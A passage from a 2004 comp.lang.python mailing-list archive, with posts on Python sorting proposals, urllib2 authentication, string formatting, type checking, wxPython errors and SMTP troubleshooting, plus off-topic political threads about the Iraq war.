to the US on a case by case basis, if there is no death penalty (though there has been at least one exception to that condition too). However, I can't see a Liberal government ever extraditing based on information obtained by farmed out medical records. More likely the RCMP would come round for a polite conversation. Unless they were french speaking immigrants living in Quebec. I believe the law grants them a presumption of innocence *in spite of* evidence to the contrary. Jack Peacock From carribeiro at gmail.com Tue Sep 21 16:54:38 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 17:54:38 -0300 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> Message-ID: <864d370904092113545f92850e@mail.gmail.com> On Tue, 21 Sep 2004 20:04:07 GMT, Andrew Dalke wrote: > Phil Frost wrote: > > The right question here is, "is there a reason for mappings with > > heterogeneous key types?" It's not something that I do often, but it's > > something that's important to have. Dynamic typing is a good thing. > > Though it's a different question. mapping keys only > need to define __hash__ and __eq__. That's easier than > defining an ordering. Given all the arguments, I'm changing my approach to the sorting problem. My proposal is that sortable objects should provide a __key__ method. sort() already accepts a key function to be passed. As of today, there are 4 different ways to customize sorting behavior: 1) passing a comparison function to sort(); 2) passing a key generation function to sort(); 3) implementing __cmp__; 4) implementing rich comparison methods. If the current sorting behavior is to be changed -- as proposed for Py3K --, I think that relying on methods such as (3) and (4) is not a good idea; __cmp__ is already on the way to deprecation, and rich comparisons are already being extended for other uses that have nothing to do with sorting. I think that a __key__ function is better than (2) (it looks more pythonic to me). Alternative (1) -- the comparison function -- may still be useful for some situations, but it's not needed if __key__ is implemented. (BTW -- in Py3K, __key__ could be used to generate the hash value for objects that don't suply a __hash__ method. -- but that's another idea, just for the record) In my proposal, __key__can assume one of the following values: 1) None 2) Boolean (True or False) 3) Number (int or float) 4) String (Unicode, of course -- that's another beast to sort properly) 5) Sequence (list or tuple) composed of the types listed here The ordering would be the same presented in the list above -- None is the smallest value possible, then booleans, numbers, and so on. It's a reasonable ordering, for most possible applications. It doesn't attempt to guess at overly complex values or data structures. There is at least one case that it's not so complex, it's relatively common, and it's properly handled by today's sort() and by the proposal above. If you retrieve a list of values from a database, some rows may contain null values (mapped to None). If you try to sort them in Py3K, you're out of luck, unless you provide an alternative sorting method. That's not necessary, in my opinion. It's a simple proposal. What do you think? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From albalmer at att.net Thu Sep 2 14:55:05 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 02 Sep 2004 11:55:05 -0700 Subject: Xah Lee's Unixism References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> On Thu, 02 Sep 2004 20:32:09 +0200, "John Thingstad" wrote: >On Thu, 2 Sep 2004 18:19:43 +0000 (UTC), Andre Majorel > wrote: > >> On 2004-09-02, John Thingstad wrote: >> >>> The fact that the NT kernel is not entirely stable yet really >>> shouldn't supprise anyone. Afterall Unix has messed with it's >>> kernel for 30 years. >> >> I feel compelled to point out that Linux achieved considerably >> better stability after just a few years. >> > >I feel compelled to replay that Linux is based on the Posix standard which >is basically a recipie for writing unix. They did not write a new >operating system. They implemented a tested and proven one. Huh? Linux is only recently paying some attention to the POSIX standards. I don't know the current level of compliance, though I'm pretty sure that some parts of POSIX.4 have been implemented. I wouldn't describe the POSIX standards as a "recipie for writing unix", anyway. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From gregm-news at toadmail.com Mon Sep 13 15:57:24 2004 From: gregm-news at toadmail.com (Greg Menke) Date: 13 Sep 2004 15:57:24 -0400 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: Chuck Dillon writes: > Antony Sequeira wrote: > > > Chuck Dillon wrote: > > How is that related to Saqqddam Hussqqqqqain being a jackass and us > > spending 100 or whatever billions on removing him and having 1000+ > > of Americans + unknown number of Iraqqqqqis getting killed. How does > > that help avoid > > 9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? > > If you reread the post that you responded to you will see it has > nothing to do with Iraq. > > However, to answer your question: How does regime change in Iraq help > avoid another 9/11... > 1) It removes one of the states that might consider sponsing > such a future attach. Wouldn't it have made more sense to invade Saudi Arabia? Thats where the terrorist money and terrorist leadership is from. Iraq is chump change on that account- heck, even Iran or Syria would've made a much better target on this basis. Or are we such bullies that we'll pick the weakest kid to beat up to show how strong we are? > 2) It removes a state with the expertise of producing (not > developing) WMD that might be used in such an attack. We've found no > WMD stockpiles but we *have* found proof that Iraq retained the > expertise to produce WMD in the future. We still don't know if there > are stockpiles. I'm sure there are lots of countries that have the expertise & the will- how many countries should we invade before that approach starts looking like a bad idea? I think we should also invade Pakistan right away- they have working nuclear weapons & real live terrorists, not just half-baked piles of rusty junk scattered around the country and half buried under a decade & a half of 3rd world style bureaucratic corruption & desert sand. > 3) It demonstrates to other states in the region that they > could have a regime change in about a month's time if they allow > themselves to be in the position of being held accountable for any > future attack. Don't you mean "if they are ever placed on the Axis Of Evil?" > 4) Look at a map of the middle east. It provides us with a > base of operations in the center of the region. We probably won't > have to ask for access to bases and airspace in future operations, > which hopefully will never have to happen. So now we're back to being an imperial power? I thought we were in Iraq for humanitarian reasons- I guess I didn't get the memo. > 5) It provides us with a second (ref: Afghanistan) shot at > establishing a pseudo-democracy in the region. Don't you think it would be a good idea to practice this sort of thing before imposing it elsewhere? > 6) It underscores that 9/11 should go into the "bad idea" > category for future planners of Islamic extremist operations. Afganistan taught that. Iraq teaches the Islamic world that we're crazy. > > You are being naive. Complain as loud as you like but there is no > question that the ability and demonstrated willingness to defend ones > self is the best deterrent to ever having to do so. > So you're talking about a "preemptive defense"? Gregm From adalke at mindspring.com Fri Sep 3 04:07:06 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 03 Sep 2004 08:07:06 GMT Subject: format sring question In-Reply-To: References: Message-ID: Lowell Kirsh wrote: > In Peter Norvig's Infrequently Answered Questions he explains that the > following 2 fnctions look almost identical but are not the same: > > def printf(format, *args): print format % args, > > def printf(format, *args): print str(format) % args, > > The only difference is that in the second one, str(format) replaces > format. If args are not given and the format string contains a '%', the > first will work but the second will not. Why is this so? It seems to me > like '100%' and str('100%) are the same object, no? The both fail the same way for me; I can't reproduce a difference. >>> def printf1(format, *args): print format % args, ... >>> def printf2(format, *args): print str(format) % args, ... >>> printf1("100%") Traceback (most recent call last): File "", line 1, in ? File "", line 1, in printf1 ValueError: incomplete format >>> printf2("100%") Traceback (most recent call last): File "", line 1, in ? File "", line 1, in printf2 ValueError: incomplete format >>> >>> printf1("100%%") 100% >>> printf2("100%%") 100% >>> My guess is there's supposed to be some sort of confusing between the trailing ',' when used in a print statement, to suppress the trailing newline, and when used to indicate a tuple, as in a = args, to create a single element tuple. In that case, % args, might be a single element tuple where the first element is the tuple of args. Andrew dalke at dalkescientific.com From fuzzyman at gmail.com Fri Sep 17 04:26:01 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 17 Sep 2004 01:26:01 -0700 Subject: HTTP - basic authentication example. References: <6f402501.0409150737.1bfc6958@posting.google.com> <6f402501040916022738bd70b5@mail.gmail.com> Message-ID: <6f402501.0409170026.36f24761@posting.google.com> Jaime Wyant wrote in message news:... > On Thu, 16 Sep 2004 10:27:22 +0100, Michael Foord wrote: > > Cool, that is helpful. > > The difficulties I would have with that approach are two fold - first > > I use ClientCookie and have to install that as the handler. I may be > > able to use an auth handler *as well* (I *think* you can chain them > > ?). > > > > Yes, you can chain them together, I believe, as long as they "handle" > different things. My version is a quick hack that specifically gets > me around the firewall here at work. I think the *correct* way to do > this Basic Authentication is (from urllib2.py): > > # set up authentication info > authinfo = urllib2.HTTPBasicAuthHandler() > authinfo.add_password('realm', 'host', 'username', 'password') > > proxy_support = urllib2.ProxyHandler({"http" : "http://ahad-haam:3128"}) > > # build a new opener that adds authentication and caching FTP handlers > opener = urllib2.build_opener(proxy_support, authinfo, urllib2.CacheFTPHandler) > > # install it > urllib2.install_opener(opener) > > f = urllib2.urlopen('http://www.python.org/') > > I'm not sure what a ClientCookie is (didn't see it in my docs.) > Assuming that it is just a wrapper around the cookie, then you > probably only need the HTTP headers. You can grab the HTTP headers > from the object returned by urllib2.urlopen(). > > filelike_obj = urllib2.urlopen('http://www.python.org/') > headers = filelike_obj.info() > server_type = headers.getheader( "SERVER") > > Maybe you can feed the Cookie header to the ClientCookie ctor? > ClientCookie is an external library - it has only become part of the standard library as cookielib in python 2.4 (which is why you won't have found it in your docs). This means I have a ClientCookie handler handling all my http requests.... I wonder if I can use an AuthHandler as well ? There will be situations where I am likely to want to add an Authroize header *and* handle cookies - ClientCookie manages all the cookies in a way that I couldn't do manually. Hmm... anyway - for situations where I may have saved passwords from multiple realms, my code is only doing what an AuthHandler would do anyway - without first having to feed it all the username/password combinations.... I just store a dictionary of them. In actual fact I think the *proper* way of doing it is *slightly* more complicated - I think you ought to create an instance of an HTTPPasswordMgr... The example you gave works I think - HTTPBasicAuthHandler does have an add_password method, but not the find_user_password that the HTTPPasswordMgr has... so I can't easily check if it works properly. In the urllib2 docs it says that passing a password manager in is optional - but *nowhere* does it document that it has an add_password method. It may be deducable from the fact that passing in a password manager is optional - but surely explicit is better than implicit (especially where documentation is concerned). Thanks Fuzzy > HTH, > jw > > > The second is that I think I need to take realm into account... I may > > be handling multiple password/username combinations. > > > > Anyway - I still find what you've sent useful - thanks. > > > > Fuzzy > > > > > > > > > > On Wed, 15 Sep 2004 11:21:21 -0500, Jaime Wyant wrote: > > > FWIW, this is how I handle Basic Authentication: > > > > > > import urllib2 > > > import sys > > > > > > class AuthenticateAllURIs: > > > """This class authenticates all Basic Authentication using uname > > > / pword.""" > > > def __init__(self,uname,pword): > > > self.uname = uname > > > self.pword = pword > > > > > > def find_user_password(self, realm, host): > > > # Note, that this class doesn't take `realm' into consideration. > > > return self.uname, self.pword > > > > > > def add_password( self, realm, uri, user, password ): > > > pass > > > > > > auth = urllib2.ProxyBasicAuthHandler(AuthenticateAllURIs('umjaw', 'fuse3')) > > > opener = urllib2.build_opener( auth ) > > > urllib2.install_opener( opener ) > > > wp = urllib2.urlopen("http://www.slashdot.org") > > > print wp.read() > > > > > > HTH, > > > jw > > > > > > On 15 Sep 2004 08:37:12 -0700, Michael Foord wrote: > > > [ snip! ] > > > > > > > > > -- > > http://www.Voidspace.org.uk > > The Place where headspace meets cyberspace. Online resource site - > > covering science, technology, computing, cyberpunk, psychology, > > spirituality, fiction and more. > > > > --- > > http://www.Voidspace.org.uk/atlantibots/pythonutils.html > > Python utilities, modules and apps. > > Including Nanagram, Dirwatcher and more. > > --- > > http://www.fuchsiashockz.co.uk > > http://groups.yahoo.com/group/void-shockz > > --- > > > > Everyone has talent. What is rare is the courage to follow talent > > to the dark place where it leads. -Erica Jong > > Ambition is a poor excuse for not having sense enough to be lazy. > > -Milan Kundera > > From tjreedy at udel.edu Wed Sep 8 00:23:31 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 8 Sep 2004 00:23:31 -0400 Subject: docs on for-loop with no __iter__? References: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net><1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com><1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com><1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> Message-ID: "Steven Bethard" wrote in message news:loom.20040907T091810-178 at post.gmane.org... > Ahh, yeah, I'm sorry, I didn't even realize that reading of "always" was > possible. When I wrote "Same reasons Python always breaks old code" I > intended the reading "For the only reasons that Python ever breaks old > code", > but I can see the other reading now... Yup, I'll take my half. =) I believe I also misread the same way Alex did, but other meaning now clear. tjr From velman at cox.net Mon Sep 27 19:19:13 2004 From: velman at cox.net (John Velman) Date: Mon, 27 Sep 2004 16:19:13 -0700 Subject: Tkinter measurements Message-ID: I want to draw a box around a short piece of text in canvas (one line text). I know how to do it if I place the text on the canvas first,then draw the box around it. Is there a way to find out the dimensions of the text bounding box before drawing it? Also, is there a method for converting from pixels to inches or inches to pixels (for canvas)? Thanks, John Velman From bokr at oz.net Wed Sep 22 17:00:49 2004 From: bokr at oz.net (Bengt Richter) Date: 22 Sep 2004 21:00:49 GMT Subject: detecting variable types References: Message-ID: On Wed, 22 Sep 2004 15:45:55 -0400, "Jay" wrote: >Thanks, Peter. Please don't top-post, ok? Notice what it does to the order of your comments and mine vs Peters'. Insert your comments below quoted material it refers to, then order can be preserved through several generations. Stacking wholes monolithically preserves order too, but it gets harder to indicate where in the following monoliths your top-posted comments apply. > >Here's what I'm trying to do: > >I have a function like this: > >def func(**params): > > # if params[key1] is a single string > # do something with params[key1] > > # if params[key1] is a list of strings > for val in params[key1]: > # do something > >Could you suggest a better way to do this without detecting the type? > That particular distinction is extra nasty because strings are also iterable. One trouble with type(arg)==list or type(arg)==str is that if your calling program wants to pass a list or str subtype later, you will have to change your func code to detect the new type, even though it behaves the same. So you usually better off with an isinstance(arg, str) than a type(arg)==str test. Notice, >>> class S(str): pass ... >>> s=S('hello') >>> >>> s 'hello' >>> type('hello') >>> type(s) >>> isinstance('hello', str) True >>> isinstance(s, str) True IOW, >>> type('hello')==str True >>> type(s)==str False Sometimes you do actually need that distinction though. > >Jay. > > >"Peter Hansen" wrote in message >news:Y-WdnWCkPIytTszcRVn-vQ at powergate.ca... >> Jay wrote: >> > I'm sure this is a really dumb question, but how do you detect a >variable >> > type in Python? >> > >> > For example, I want to know if the variable "a" is a list of strings or >a >> > single string. How do I do this? >> >> Use the builtin function "type()", but note the following: >> >> 1. Variables don't actually have types in Python (and they're usually >> called "names" in Python, for various reasons), but the data they are >> currently bound to does have a type and that's what type() returns. >> Often the distinction won't matter to you... >> >> 2. Most of the time people trying to do what you are probably trying >> to do are going about things the wrong way, often from experience >> with other languages. Lots of Python folks would be happy to introduce >> you to "better" ways to do things, if you'll explain the use case >> and tell us what you're actually trying to accomplish. (Of course, >> using "type()" will work, but it's rarely considered the best >> approach in the Python community.) >> >> -Peter > > Regards, Bengt Richter From albalmer at att.net Tue Sep 7 13:50:38 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 07 Sep 2004 10:50:38 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> Message-ID: On Sat, 04 Sep 2004 02:08:22 GMT, Larry Elmore wrote: >Rupert Pigott wrote: >> Larry Elmore wrote: >> Good read. Thanks for digging this up. However, you seem to have left out the part about it being Orrin Hatch's fault ;-) I did notice that the article indicated that the four bids were "relatively similar in ... technology." -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From FBatista at uniFON.com.ar Thu Sep 23 15:20:16 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 23 Sep 2004 16:20:16 -0300 Subject: Why not FP for Money? Message-ID: [aahz at pythoncraft.com] #- Not sure of precise syntax (haven't tried 2.4 yet), but this should #- work: #- #- a = decimal.from_float(35.72) No, we trimmed that construct method. You can NOT create a decimal from a float. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From prep at prep.synonet.com Sat Sep 4 13:24:10 2004 From: prep at prep.synonet.com (Paul Repacholi) Date: Sun, 05 Sep 2004 01:24:10 +0800 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <4135ce4a$0$19726$61fed72c@news.rcn.com> <41371ba4$0$19723$61fed72c@news.rcn.com> <87d613mckn.fsf@k9.prep.synonet.com> <4139b0e3$0$19717$61fed72c@news.rcn.com> Message-ID: <87vfeut0at.fsf@k9.prep.synonet.com> jmfbahciv at aol.com writes: > In article <87d613mckn.fsf at k9.prep.synonet.com>, > Paul Repacholi wrote: >>All of them where in the 4.x monitir I used. many of the 427 source >>file are on Tim's site, so you can have a look in COMTAB and see. > huh..The why did I have to do TTY:_DT0:/L or LPT:_DT0:/L to get > directories? And to print a file on the line printer required the > PIP command LPT:_DSK:FOO.FOR My bad... I claim bit rot of the grey stuff... Yes DIR and friends came later, post or part of(?) COMPIL. -- Paul Repacholi 1 Crescent Rd., +61 (08) 9257-1001 Kalamunda. West Australia 6076 comp.os.vms,- The Older, Grumpier Slashdot Raw, Cooked or Well-done, it's all half baked. EPIC, The Architecture of the future, always has been, always will be. From jwkenne at attglobal.net Sat Sep 4 13:47:20 2004 From: jwkenne at attglobal.net (John W. Kennedy) Date: Sat, 04 Sep 2004 17:47:20 GMT Subject: Xah Lee's Unixism In-Reply-To: <1094257487.855439@teapot.planet.gong> References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> Message-ID: Rupert Pigott wrote: > I would hope that Morton Thiokol's experience at building a diverse > range of rockets might have been a factor in the decision too. I would hope so too, but that isn't how it happened. In history as it actually went, the Morton-Thiokol design came in a distant fourth, and the White House ordered NASA to try again, but this time come up with the "right" answer. -- John W. Kennedy "The poor have sometimes objected to being governed badly; the rich have always objected to being governed at all." -- G. K. Chesterton. "The Man Who Was Thursday" From irmen at -nospam-remove-this-xs4all.nl Mon Sep 6 18:29:11 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Tue, 07 Sep 2004 00:29:11 +0200 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: References: <20040901221925.2128958333.EP@zomething.com> Message-ID: <413ce4b7$0$43451$e4fe514c@news.xs4all.nl> Mark Hahn wrote: > Does anyone know of any conflicts for DX? Any existing software projects? > Any languages? I know all about all the ham radio stuff but I assume that > is a non-issue. > I don't think that it will get in your way, but: 486-DX --Irmen From marduk at python.net Thu Sep 9 16:38:50 2004 From: marduk at python.net (marduk) Date: Thu, 09 Sep 2004 15:38:50 -0500 Subject: Is except: ... pass bad style? References: Message-ID: On Thu, 09 Sep 2004 15:29:08 -0400, Istvan Albert wrote: > I personally don't like this, not because of pylint but because > it feels like using the wrong solution for the problem. > You could create a base class that has a method that > does nothing and have all your objects inherit from that. > > This solution does properly communicate > that the method is optional. Not to mention that you need > to repeat the whole thing if used again in a different > circumstance. Plus something could go wrong inside > existing methods and you'd never know about it. > > Why risk all that? This is probably overkill for my current circumstance, but I may consider it in the future. Besides, the class in question is third-party and I'm merely trying to call method if it exists (version n) and do nothing if it doesn't exist (version n-1). Although I could subclass the third-party class and override method()... but as I said, overkill for me right now as I'm only using the object/method once. I really liked the getattr suggestion. Thanks to all who responded. ----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==---- http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups ---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =--- From mcfletch at rogers.com Sun Sep 26 03:06:11 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Sun, 26 Sep 2004 03:06:11 -0400 Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" In-Reply-To: <3it5d.3229$nj.2390@newssvr13.news.prodigy.com> References: <3it5d.3229$nj.2390@newssvr13.news.prodigy.com> Message-ID: <41566A63.2030506@rogers.com> wxPyDeadObjectError is a catch that prevents you from getting a core dump/memory-access-violation when you try to call a method or access an attribute of an object which has already been cleaned up/destroyed by the system. wxPyDeadObject's evaluate to false, so you can do this: if self.testLab: self.testLab.SetLabel('test') or you can just catch the error: try: self.testLab.SetLabel( 'test' ) except wx.PyDeadObjectError, err: pass # just ignore it... In this case, it looks like the event is occurring after the testLab widget has been destroyed. Since you likely don't want to change the appearance of it at that point, nothing is lost. HTH, Mike python newbie wrote: ... > File "E:\MyProjects1\python\backup\wxProject.py", line 294, in >OnNodeChanged > self.testLab.SetLabel('test') > File "C:\Python23\Lib\site-packages\wx\_core.py", line 10617, in >__getattr__ > raise PyDeadObjectError(self.attrStr % self._name) >wx._core.PyDeadObjectError: The C++ part of the StaticText object has been >deleted, attribute access no longer allowed. > > ... ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From peter at engcorp.com Mon Sep 27 15:36:42 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 15:36:42 -0400 Subject: Optimizing tips for os.listdir In-Reply-To: References: Message-ID: Bengt Richter wrote: > But it seems like you are asking the os to chase through full paths at > every isdir operation, rather than just telling it to make its current working > directory the directory you are interested in and doing it there. E.g., (untested) > > savedir = os.getcwd() > os.chdir(path) > dirs = [opj(path, p) for p in os.listdir('.') if oisd(p)] > os.chdir(savedir) One aspect of this which needs mentioning is that it could cause incorrect behaviour of other parts of the application if there are multiple threads relying on using the current working directory... the CWD is global to the application, AFAIK. -Peter From cy.fbp.eryvtvne at ncbybtrglxn.pbz Wed Sep 1 10:28:14 2004 From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ) Date: Wed, 1 Sep 2004 16:28:14 +0200 Subject: Python cannot use SMTP... References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> Message-ID: <1i04cqxwzoane.1915vlaurzzbl$.dlg@40tude.net> Wed, 01 Sep 2004 15:45:55 +0200, na comp.lang.python, Thomas Kr?ger wrote: >> smtplib.SMTPConnectError: (-1, "onnect: failed to connect to database: >> Error: Access denied for user: 'admin at localhost' (Using password: YES)") > > That a MySQL error. I don't kwon how you made this error apear in your STMP > connection, I can only guess: > Does your STMP server any MySQL authentication? I am not sure. I do not know if it is important but I am using VPS (virtual computer) hosting. And I did not install sendmail. It was installed as I got it. > Are you running MySQL on port 25? No, it works on standard port 3306. > Maybe the right of your mail log and a the result of > "netstat -nlp -A inet" > would help us to find the problem. Here is the result: [root at xeon lib]# netstat -nlp -A inet (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 216.93.188.184:20000 0.0.0.0:* LISTEN 5912/perl tcp 0 0 216.93.188.184:199 0.0.0.0:* LISTEN 4648/snmpd tcp 0 0 216.93.188.184:3306 0.0.0.0:* LISTEN 20595/mysqld tcp 0 0 216.93.188.184:10000 0.0.0.0:* LISTEN 6339/perl tcp 0 0 216.93.188.184:8080 0.0.0.0:* LISTEN 4113/python tcp 0 0 216.93.188.184:80 0.0.0.0:* LISTEN 20390/httpd tcp 0 0 216.93.188.184:21 0.0.0.0:* LISTEN 7910/xinetd tcp 0 0 216.93.188.184:8021 0.0.0.0:* LISTEN 4113/python tcp 0 0 216.93.188.184:22 0.0.0.0:* LISTEN 17856/sshd tcp 0 0 216.93.188.184:8280 0.0.0.0:* LISTEN 4113/python tcp 0 0 216.93.188.184:25 0.0.0.0:* LISTEN 7910/xinetd udp 0 0 216.93.188.184:10000 0.0.0.0:* 6339/perl udp 0 0 216.93.188.184:20000 0.0.0.0:* 5912/perl udp 0 0 216.93.188.184:161 0.0.0.0:* 4648/snmpd -- JZ From peter at engcorp.com Tue Sep 21 11:16:45 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 11:16:45 -0400 Subject: OT: regex to find email In-Reply-To: References: Message-ID: Josh Close wrote: > I've been trying to find a good regex to parse emails, but haven't > found any to my liking. I basically need to have > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > but the first part can't start with .-_ and the last part has to have > a . in it (first/last being before/after the @). Use this instead: from email.Utils import parseaddr See the docs for assistance. -Peter From http Tue Sep 7 16:24:06 2004 From: http (Paul Rubin) Date: 07 Sep 2004 13:24:06 -0700 Subject: Secure delete with python References: Message-ID: <7xy8jlvndl.fsf@ruckus.brouhaha.com> "Neil Hodgson" writes: > For example source code and discussion for Windows see > http://www.sysinternals.com/ntw2k/source/sdelete.shtml See also the stuff at briggsoft.com. Apparently a lot of so-called secure deletion products on Windows don't work nearly as well as claimed. Kent Briggs hangs out on sci.crypt and has evaluated a lot of them besides marketing some of his own. From roy at panix.com Thu Sep 2 15:52:45 2004 From: roy at panix.com (Roy Smith) Date: Thu, 02 Sep 2004 15:52:45 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Message-ID: In article , Gandalf wrote: > > Please see these recent threads, and read the FAQ: > > > > http://groups.google.ca/groups?threadm=mailman.2685.1093979591.5135.python-l > > ist%40python.org > > > This is from that thread: > > >Note that while .index() makes sense for some sequences, > >such as strings and lists, it doesn't make sense for the > >way in which tuples are "supposed to be used", which is > >as collections of heterogeneous data and not usually as > >simply read-only lists. > > Why it is not useful to have an index() method for collections of > heterogeneous data? > > Suppose, you have big amount of data stored in tuples (for using less > memory). > You may want to extract slices from the tuploes from a given index determined > by an object. > This is just an example, however it is quite realistic (e.g. using tuples > instead of lists > because there is a huge amount of static data that you need to access > quickly). Also, you must use tuples instead of lists as dictionary keys. If your keys are inherently arbitrary length ordered collections of homogeneous data, you might very well want to use things like index() on the keys. In this case, they really are "immutable lists". I understand the argument that tuples are supposed to be the moral equivalent of anonymous C structs, but if that's the case, why do things like len() and slicing work on them? Not to mention "in" (either as a test or as an iterator). None of those things make sense to do on structs. It's really pretty arbitrary that of the things you can do on immutable sequences, index() and count() are special-cased as innapropriate operations for tuples. Looking over the Zen list, I'd say any of: Simple is better than complex. Special cases aren't special enough to break the rules. Although practicality beats purity. If the implementation is hard to explain, it's a bad idea. If the implementation is easy to explain, it may be a good idea. argue for allowing index() and count() to be used on tuples. From scook at elp.rr.com Sun Sep 12 00:53:02 2004 From: scook at elp.rr.com (Stan Cook) Date: Sun, 12 Sep 2004 04:53:02 GMT Subject: image library Message-ID: Does anyone know of an image library that can handle group 4 tiffs? Thanks, Stan --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.749 / Virus Database: 501 - Release Date: 9/1/04 From peter at engcorp.com Fri Sep 10 23:50:45 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 23:50:45 -0400 Subject: Executing system commands with wxpython In-Reply-To: References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> Message-ID: Cliff Wells wrote: > On Fri, 2004-09-10 at 13:02 -0400, twsnnva wrote: > >>Could anyone give me an example (code) of a simple program with a button >>that when clicked executes a linux shell or windows dos command like >>"ifconfig" or "ipconfig" and prints the output somewhere in the same >>window. Thanks. >> > Building on Peter's example, here's a bit more sophisticated example: [snip longer version] Cliff, I think this is the point where we're supposed to vote on the name, and start a new project on SourceForge. ;-) -Peter From ialbert at mailblocks.com Thu Sep 16 14:41:04 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 16 Sep 2004 14:41:04 -0400 Subject: wxPython Not Ready for Commercial Use In-Reply-To: References: Message-ID: Polerio Babao Jr.II wrote: > my attention. The printing support. Yes, there was reportlab. But what > if your client wanted to simulate the customized excel output and have > it converted to reportlab. you cannot do it 100%. There are so many I think the ability to easily and precisely reproduce of output of other software packages is hardly a measure of any language maturity. Istvan. From vze4rx4y at verizon.net Thu Sep 30 04:30:32 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 30 Sep 2004 08:30:32 GMT Subject: List comprehensions performance References: <278de0e.0409291441.4ef0a859@posting.google.com> Message-ID: [Neuruss] What I'd like to know is if using list comprehensions would give me a > performance advantage over traditional for loops or not. For Py2.4, list comprehensions are much faster than equivalent for-loops. > I'm getting fond of list comprehensions, but I wonder if it's wise to > abuse of them... Use whatever is clearest. Don't abuse anything. Raymond Hettinger From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sun Sep 5 11:35:03 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Sun, 5 Sep 2004 17:35:03 +0200 Subject: windows svchost.exe service wrapper & individual services References: Message-ID: Hi ! See WMI, on M$ sites. or PyWin32 From h.b.furuseth at usit.uio.no Sun Sep 5 21:36:07 2004 From: h.b.furuseth at usit.uio.no (Hallvard B Furuseth) Date: 06 Sep 2004 03:36:07 +0200 Subject: Are decorators really that different from metaclasses... References: <412C09B4.5070106@yahoo.com> <412D9F1E.6000809@yahoo.it> Message-ID: Paul Morrow wrote: >Hallvard B Furuseth wrote: >> >> (...) The difference is that magic variables in this >> particular localtion is actually parsed differently from use of >> variables other places, so the '=' operator (and what other operators?) >> means something else. > > Only the '=' operator, no others. OK. >>Paul Morrow wrote: >>>The double underscores before and after each name loudly proclaims >>>that these variables are not like 'normal' variables. They're special >>>in some way. >> >> No other magic variables are that special. They all behave normally _as >> 